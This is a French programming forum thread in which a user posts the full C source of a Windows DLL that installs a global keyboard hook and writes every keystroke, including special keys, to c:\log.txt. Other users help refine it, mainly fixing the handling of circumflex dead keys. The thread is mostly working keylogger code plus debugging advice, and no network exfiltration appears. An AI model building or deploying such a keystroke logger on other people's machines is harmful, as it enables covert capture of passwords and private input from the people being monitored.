[Hook Clavier] Pb d'accents circonflexes [Résolu]

BeLZeL 110 Messages postés mardi 10 octobre 2000Date d'inscription 20 décembre 2005 Dernière intervention - 28 juil. 2004 à 23:13 - Dernière réponse : BeLZeL 110 Messages postés mardi 10 octobre 2000Date d'inscription 20 décembre 2005 Dernière intervention
- 29 avril 2006 à 14:38
J'ai fait un programme simple dont le but est de faire un hook clavier global, et de tout mettre dans un fichier log.

Tout fonctionne, sauf une chose, les accents circonflexes ! En voulant obtenir ê, dans l'application hookée, j'obtiens ^^e et dans le log, ^e.

Je fais bien les return CallNextHookEx. Si je ne n'écris plus dans le fichier log, tout redevient normal. Peut-être que l'erreur vient de la fonction ToAscii ou GetKeyboardState. Il doit y avoir une modification toute simple à faire, mais je ne trouve pas !

Voilà ma source ( http://belzel.free.fr/hook.zip ), avec la DLL et l'EXE (pour DevCpp, mais ca doit marcher aussi avec Visual C). L'EXE crée un fichier c:\log.txt.

Voilà le code de la DLL :

//------------------------------------------------------------------------------
// INCLUDES
//------------------------------------------------------------------------------

#include <windows.h> // Header pour DevCpp
#include <stdio.h> // Header pour l'écriture dans un fichier
#include <time.h>

//------------------------------------------------------------------------------
// Constantes & Macros
//------------------------------------------------------------------------------

// A ajouter devant une fonction pour l'exporter ou l'importer
#define DLLEXPORT __declspec (dllexport)
#define DLLIMPORT __declspec (dllimport)

//------------------------------------------------------------------------------
// Variables Globales De La DLL
//------------------------------------------------------------------------------

HHOOK HKEYBOARD; // Hook Clavier
HINSTANCE HInst; // Handle d'intance de la DLL
FILE * logfic; // Fichier LOG
clock_t tpsBase; // Temps de base (point de départ)
char LastWindowText[256]; // Nom de la fenêtre
char FILENAME[256] = "c:\\log.txt"; // Chemin du log


//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------

LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
char ch;
BYTE KeyState[256]; // address of key-state array
WORD Char; // buffer for translated key

// On ne fait rien dans ce cas
if ( nCode < 0 || nCode == HC_NOREMOVE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );

// Pour éviter les répétitions
// Bit 30 : Spécifie l'état précédent de la touche
if ( ((DWORD)lParam & 1<<30) != FALSE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );

logfic = fopen ( FILENAME, "a+" );
switch(wParam)
{
case VK_BACK : fprintf ( logfic, "[BKSP]" ); break; // 0x08
case VK_TAB : fprintf ( logfic, "[TAB]" ); break; // 0x09
case VK_RETURN : fprintf ( logfic, "[ENTER]\n" );break; // 0x0D
case VK_SHIFT : break; // 0x10
case VK_CONTROL : fprintf ( logfic, "[CTRL]" ); break; // 0x11
case VK_MENU : fprintf ( logfic, "[ALT]" ); break; // 0x12
case VK_PAUSE : fprintf ( logfic, "[PAUSE]" ); break; // 0x13
case VK_CAPITAL : break; // 0x14
case VK_ESCAPE : break; // 0x1B
case VK_PRIOR : fprintf ( logfic, "[PGUP]" ); break; // 0x21
case VK_NEXT : fprintf ( logfic, "[PGDN]" ); break; // 0x22
case VK_END : fprintf ( logfic, "[END]" ); break; // 0x23
case VK_HOME : fprintf ( logfic, "[HOME]" ); break; // 0x24
case VK_LEFT : fprintf ( logfic, "[LEFT]" ); break; // 0x25
case VK_UP : fprintf ( logfic, "[UP]" ); break; // 0x26
case VK_RIGHT : fprintf ( logfic, "[RIGHT]" ); break; // 0x27
case VK_DOWN : fprintf ( logfic, "[DOWN]" ); break; // 0x28
case VK_SNAPSHOT: fprintf ( logfic, "[SNAP]" ); break; // 0x2C
case VK_INSERT : break; // 0x2D
case VK_DELETE : fprintf ( logfic, "[DEL]" ); break; // 0x2E
case VK_LWIN : fprintf ( logfic, "[LWIN]" ); break; // 0x5B
case VK_RWIN : fprintf ( logfic, "[RWIN]" ); break; // 0x5C
case VK_APPS : fprintf ( logfic, "[APPS]" ); break; // 0x5D
case VK_NUMPAD0 : fprintf ( logfic, "[NUM0]" ); break; // 0x60
case VK_NUMPAD1 : fprintf ( logfic, "[NUM1]" ); break; // 0x61
case VK_NUMPAD2 : fprintf ( logfic, "[NUM2]" ); break; // 0x62
case VK_NUMPAD3 : fprintf ( logfic, "[NUM3]" ); break; // 0x63
case VK_NUMPAD4 : fprintf ( logfic, "[NUM4]" ); break; // 0x64
case VK_NUMPAD5 : fprintf ( logfic, "[NUM5]" ); break; // 0x65
case VK_NUMPAD6 : fprintf ( logfic, "[NUM6]" ); break; // 0x66
case VK_NUMPAD7 : fprintf ( logfic, "[NUM7]" ); break; // 0x67
case VK_NUMPAD8 : fprintf ( logfic, "[NUM8]" ); break; // 0x68
case VK_NUMPAD9 : fprintf ( logfic, "[NUM9]" ); break; // 0x69
case VK_MULTIPLY: fprintf ( logfic, "*" ); break; // 0x6A
case VK_ADD : fprintf ( logfic, "+" ); break; // 0x6B
case VK_SUBTRACT: fprintf ( logfic, "-" ); break; // 0x6D
case VK_DECIMAL : fprintf ( logfic, "." ); break; // 0x6E
case VK_DIVIDE : fprintf ( logfic, "/" ); break; // 0x06
case VK_F1 : fprintf ( logfic, "[F1]" ); break; // 0x70
case VK_F2 : fprintf ( logfic, "[F2]" ); break; // 0x71
case VK_F3 : fprintf ( logfic, "[F3]" ); break; // 0x72
case VK_F4 : fprintf ( logfic, "[F4]" ); break; // 0x73
case VK_F5 : fprintf ( logfic, "[F5]" ); break; // 0x74
case VK_F6 : fprintf ( logfic, "[F6]" ); break; // 0x75
case VK_F7 : fprintf ( logfic, "[F7]" ); break; // 0x76
case VK_F8 : fprintf ( logfic, "[F8]" ); break; // 0x77
case VK_F9 : fprintf ( logfic, "[F9]" ); break; // 0x78
case VK_F10 : fprintf ( logfic, "[F10]" ); break; // 0x79
case VK_F11 : fprintf ( logfic, "[F11]" ); break; // 0x7A
case VK_F12 : fprintf ( logfic, "[F12]" ); break; // 0x7B
case VK_F13 : fprintf ( logfic, "[F13]" ); break; // 0x7C
case VK_F14 : fprintf ( logfic, "[F14]" ); break; // 0x7D
case VK_F15 : fprintf ( logfic, "[F15]" ); break; // 0x7E
case VK_F16 : fprintf ( logfic, "[F16]" ); break; // 0x7F
case VK_F17 : fprintf ( logfic, "[F17]" ); break; // 0x80
case VK_F18 : fprintf ( logfic, "[F18]" ); break; // 0x81
case VK_F19 : fprintf ( logfic, "[F19]" ); break; // 0x82
case VK_F20 : fprintf ( logfic, "[F20]" ); break; // 0x83
case VK_F21 : fprintf ( logfic, "[F21]" ); break; // 0x84
case VK_F22 : fprintf ( logfic, "[F22]" ); break; // 0x85
case VK_F23 : fprintf ( logfic, "[F23]" ); break; // 0x86
case VK_F24 : fprintf ( logfic, "[F24]" ); break; // 0x87
case VK_NUMLOCK : break; // 0x90
case VK_ATTN : break; // 0xF6
default:
GetKeyboardState ( KeyState );
ToAscii ( wParam, 0, KeyState, &Char, 0 );
ch = (char)Char;
fwrite ( &ch, sizeof(ch), 1, logfic );
break;
}
fclose ( logfic );

return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}

//------------------------------------------------------------------------------
// Fonction principale d'Initialisation De La DLL
//------------------------------------------------------------------------------
// hinst : l'instance de notre programme
// raison : pourquoi notre DLL est utilisée
// reserv : non utilisé
// retourne vrai si l'opération s'est bien déroulé
//------------------------------------------------------------------------------

BOOL APIENTRY DllMain ( HINSTANCE hinst, DWORD raison, LPVOID reserv )
{
HInst = hinst;
return TRUE;
}

//------------------------------------------------------------------------------
// Initialisation Du Hook Clavier
//------------------------------------------------------------------------------

void DLLEXPORT InitHook ( void )
{
HKEYBOARD = SetWindowsHookEx ( WH_KEYBOARD, (HOOKPROC)KeyboardProc, HInst, 0);
}

//------------------------------------------------------------------------------
// Terminaison Des Hooks
//------------------------------------------------------------------------------

void DLLEXPORT EndHook ( void )
{
UnhookWindowsHookEx ( HKEYBOARD );
}

BeLZeL
Afficher la suite 

Votre réponse

11 réponses

Meilleure réponse
BeLZeL 110 Messages postés mardi 10 octobre 2000Date d'inscription 20 décembre 2005 Dernière intervention - 30 juil. 2004 à 00:55
3
Merci
Dernier Point :
ToAscii est très buggée. Impossible de l'appeler lorsqu'un DEAD CHAR est en mémoire. Voici une alternative assez bonne : GetKeyNameText, qu'on appellera lorsqu'un DEAD CHAR a précédemment été tapé.


is_dead_key (int wparam)
{
    unsigned int code = MapVirtualKey ( wparam, 2 );

    // Windows 95 returns 0x8000, NT returns 0x80000000.
    return (code & 0x80008000) ? 1 : 0;
}

LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
...
    if ( is_dead_key ( (UINT) wParam ) )
    {
        deadkey++;
        myfprintf ( logfic, "[DK]" );
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
    }     

...

    default:
        memset(KeyState, 0, sizeof (KeyState));
        if ( GetKeyboardState ( KeyState ) )
        {
            if ( !deadkey )
            {
                ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, Char, 0 );
                myfprintf ( logfic, &Char );
            }
            else
            {
                GetKeyNameText ( lParam, nomTouche, 256 );
                myfprintf ( logfic, nomTouche );
                deadkey--;
            }
        }
        break;

...

}


Les programmes hookés recoivent bien l'accent circonflexe sur le "e". Dans le log, on aura ca :
test [DK]E [DK]R [DK]Edssfdfs [DK]Ds[ENTER]
au lieu de
test ê ^r êdssfdf ^ds

Ce qui est assez compréhensible. J'ai pas mieux pour le moment et je pense que ca me suffit.

BeLZeL

Merci BeLZeL 3

Avec quelques mots c'est encore mieux Ajouter un commentaire

Codes Sources a aidé 92 internautes ce mois-ci

Commenter la réponse de BeLZeL
BruNews 21054 Messages postés jeudi 23 janvier 2003Date d'inscription 7 novembre 2014 Dernière intervention - 28 juil. 2004 à 23:45
0
Merci
Si tu procedes ainsi, teste si deadchar et lequel dans ton 'default:', si oui enregistre lequel dans une variable car sera a combiner avec la prochaine touche.
Faudrait aussi faire un code coherent, FILE* etc n'ont rien a faire dans du code Windows, CreateFile, WriteFile...

ciao...
BruNews, Admin CS, MVP Visual C++
Commenter la réponse de BruNews
BeLZeL 110 Messages postés mardi 10 octobre 2000Date d'inscription 20 décembre 2005 Dernière intervention - 29 juil. 2004 à 00:58
0
Merci
Je n'ai pas la possibilité de savoir si mon caractère est un WM_DEADCHAR (l'accent circonflexe) ou un WM_CHAR (un caractère normal). Et même si je pouvais le savoir, je ne vois pas comment le combiner, normalement, le hook ne devrait pas altérer les messages.

Avec le hook WH_KEYBOARD, on a la touche (VK_...) sur wParam et 32 bits sur lParam (etat up / down, scancode, etc...).

Sinon, j'ai regardé vite fait CreateFile. Est-ce qu'il y a un flag particulier pour ajouter à la suite d'un fichier ?

BeLZeL
Commenter la réponse de BeLZeL
BruNews 21054 Messages postés jeudi 23 janvier 2003Date d'inscription 7 novembre 2014 Dernière intervention - 29 juil. 2004 à 01:10
0
Merci
tu ouvres avec OPEN_ALWAYS si tu ne veux pas ecraser ce qui existerait deja dans le fichier et illico:
SetFilePointer(hfl, 0, 0, FILE_END);
et ainsi le pointeur est a la fin.

On verra d'avancer cela des que je vais pouvoir.

ciao...
BruNews, Admin CS, MVP Visual C++
Commenter la réponse de BruNews
cosmobob 706 Messages postés mardi 30 décembre 2003Date d'inscription 27 janvier 2009 Dernière intervention - 29 juil. 2004 à 12:45
0
Merci
modifie ton dllmain comme ca déja:

BOOL APIENTRY DllMain ( HINSTANCE hinst, DWORD raison, LPVOID reserv )
{
if (raison == DLL_PROCESS_ATTACH)
{
HInst = hinst;
}
return TRUE;
}

(sinon tu sauvegardes aussi l'instance qd un thread ds l'application hookée est lancé, peut etre le hinst est il différent (j'en sais rien)).

a+ ;)
Commenter la réponse de cosmobob
cosmobob 706 Messages postés mardi 30 décembre 2003Date d'inscription 27 janvier 2009 Dernière intervention - 29 juil. 2004 à 12:48
0
Merci
ha et sinon au début de ton KeyBoardProc mets ca :

//détecte si c'est une répétition (la frappe a déja été traitée)
if (! ( (DWORD) lParam & 0x40000000) )
return CallNextHookEx( HKEYBOARD, nCode, wParam, lParam );

normalement ca devrait résoudre ton problème.

a+ ;)
Commenter la réponse de cosmobob
BeLZeL 110 Messages postés mardi 10 octobre 2000Date d'inscription 20 décembre 2005 Dernière intervention - 29 juil. 2004 à 21:20
0
Merci
BruNews > J'ai viré FILE* pour mettre un HANDLE. Tjrs le même pb.

cosmobob > J'ai placé HInst au "bon endroit", tjrs le mêm pb. Pour le test que tu m'as donné ensuite -> 0x40000000 est une façon que je trouve moins jolie pour écrire 1<<30 (décalage de bits). Donc ce test est déjà présent dans mon code, il évite les répétitions de touches.

J'ai essayé d'avancé un peu sur la sauvegarde de la touche (^ ou š), puis la combinaison de la touche avec une lettre (ê, â, etc ...). Voilà le code. Le log est bon, mais dans l'application, au lieu de me faire ê, j'ai uniquement e (c'est déjà mieux que ^^e).

default:
if ( GetKeyboardState ( KeyState ) )
if ( ToAscii ( wParam, 0, KeyState, &Char, 0 ) )
{
// sauvegarde de l'entier correspondant à la touche
char tmp[10];
int vk;
sprintf ( tmp, " (%d)\r\n", Char );
// premiere touche (^ ou š) if ( ( waitSecondCar FALSE ) && ( ( Char 94 ) || ( Char == 168 ) ) )
{
waitSecondCar = TRUE;
CloseHandle ( logfic );
return 1;
}
// touche couplée
else if ( waitSecondCar == TRUE )
{
keybd_event ( 94, 0, 0, 0 ); // ^ pressé
keybd_event ( 101, 0, 0, 0 ); // e pressé
keybd_event ( 101, 0, KEYEVENTF_KEYUP, 0 ); // e relaché
keybd_event ( 94, 0, KEYEVENTF_KEYUP, 0 ); // ^ relaché
myfprintf ( logfic, &Char );
myfprintf ( logfic, tmp );
waitSecondCar == FALSE;
CloseHandle ( logfic );
return 1;
}
// touche normale
else
{
myfprintf ( logfic, &Char );
myfprintf ( logfic, tmp );
}
}

Lorsqu'on appuie sur ^ ou š, on fait le premier test et on retourne 1. L'accent n'est pas envoyée au programme !
Lorsqu'on appuie sur une nouvelle lettre, on utilise keybd_event pour combiner l'accent circonflexe et le "e" (c'est un cas particulier).
Le troisième test s'effectue pour une touche normale. Ce test fonctionne correctement.

Le problème, c'est que keybd_event n'envoie pas l'accent circonflexe à l'application, juste le "e". Je travaille la dessus.

BeLZeL
Commenter la réponse de BeLZeL
BeLZeL 110 Messages postés mardi 10 octobre 2000Date d'inscription 20 décembre 2005 Dernière intervention - 29 juil. 2004 à 22:17
0
Merci
Aux dernières nouvelles, le hook fonctionne parfaitement. Ca coince juste sur la fonction ToAscii. Voilà ce que j'ai trouvé dans l'aide de la fonction ToAscii :

Remarks :
The parameters supplied to the ToAscii function might not be sufficient to translate the virtual-key code, because a previous dead key is stored in the keyboard layout.

En gros, la fonction n'a pas la possibilité de gérer les "dead char", comme les accents circonflexes. Je cherche une alternative à la fonction ToAscii et ca devrait être bon.

Le code précédent est inutile ! il peut être remplacé simplement par ca pour le moment (même si ToAscii et ToAsciiEx bug) :

default:
if ( GetKeyboardState ( KeyState ) )
if ( ToAsciiEx ( wParam, ((lParam << 8 ) >> 24), KeyState, Char, 0, 0 ) )
myfprintf ( logfic, (LPCVOID)Char );
break;

BeLZeL
Commenter la réponse de BeLZeL
wallegen 12 Messages postés samedi 18 septembre 2004Date d'inscription 2 juin 2006 Dernière intervention - 18 avril 2006 à 14:30
0
Merci
Salut je bosse sur ton code mais je ne parviens pas à comprendre ou se fait la distinction entre minuscules et majuscules!?
Commenter la réponse de wallegen
wallegen 12 Messages postés samedi 18 septembre 2004Date d'inscription 2 juin 2006 Dernière intervention - 18 avril 2006 à 14:34
0
Merci
Je pense que ça vient du 2e paramètre de la fonction ToAscii()



ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );

myfprintf ( &Char );



mais je ne comprends pas ce deuxième paramètre!Qq1 peut m'expliquer?
Commenter la réponse de wallegen
BeLZeL 110 Messages postés mardi 10 octobre 2000Date d'inscription 20 décembre 2005 Dernière intervention - 29 avril 2006 à 14:38
0
Merci
Perso, j'ai complètement oublié comment tout ca fonctionnait lol
Mais normalement, il y a un code ascii différents pour les majuscules et les minuscules.
J'sais pas si ca t'aide ...
Commenter la réponse de BeLZeL

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.